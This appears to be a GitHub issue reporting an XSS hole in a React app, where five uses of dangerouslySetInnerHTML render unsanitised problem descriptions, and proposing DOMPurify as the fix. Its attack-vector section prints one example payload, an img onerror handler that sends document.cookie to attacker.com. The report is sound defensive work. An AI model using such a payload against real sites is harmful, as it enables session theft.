Skip to content

XSS: dangerouslySetInnerHTML renders unsanitized problem statements #157

@amaydixit11

Description

@amaydixit11

Issue

After reviewing the code, dangerouslySetInnerHTML is used in 5 locations to render problem descriptions that could come from Codeforces API, admin input, or other external sources.

Affected Files

File Line What's Rendered
src/pages/potd.tsx 258 formatDescription(truncatedDesc)
src/pages/questions/[id].tsx 447-449 formatDescription(ques.description)
src/pages/questions/[id].tsx 458-460 formatDescription(ques.input_format)
src/pages/questions/[id].tsx 469-471 formatDescription(ques.output_format)
src/components/ProblemOfTheDay.jsx 8 formatDescription(problem.description)

Attack Vector

If any problem description contains HTML with <script> tags or event handlers (from Codeforces API, or an admin accidentally pasting HTML), it will execute in the browser:

<img src=x onerror="fetch('https://attacker.com/'+document.cookie)">

Fix

Install DOMPurify and sanitize before rendering:

npm install dompurify
import DOMPurify from 'dompurify';

// Replace:
<div dangerouslySetInnerHTML={{ __html: formatDescription(desc) }} />

// With:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(formatDescription(desc)) }} />

This affects all 5 locations listed above. Same fix pattern applies to each.

Metadata

Metadata

Assignees

No one assigned

    Labels

    advancedComplex issues requiring experienced contributorsbugSomething isn't workingenhancementNew feature or requestsecuritySecurity vulnerabilities

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions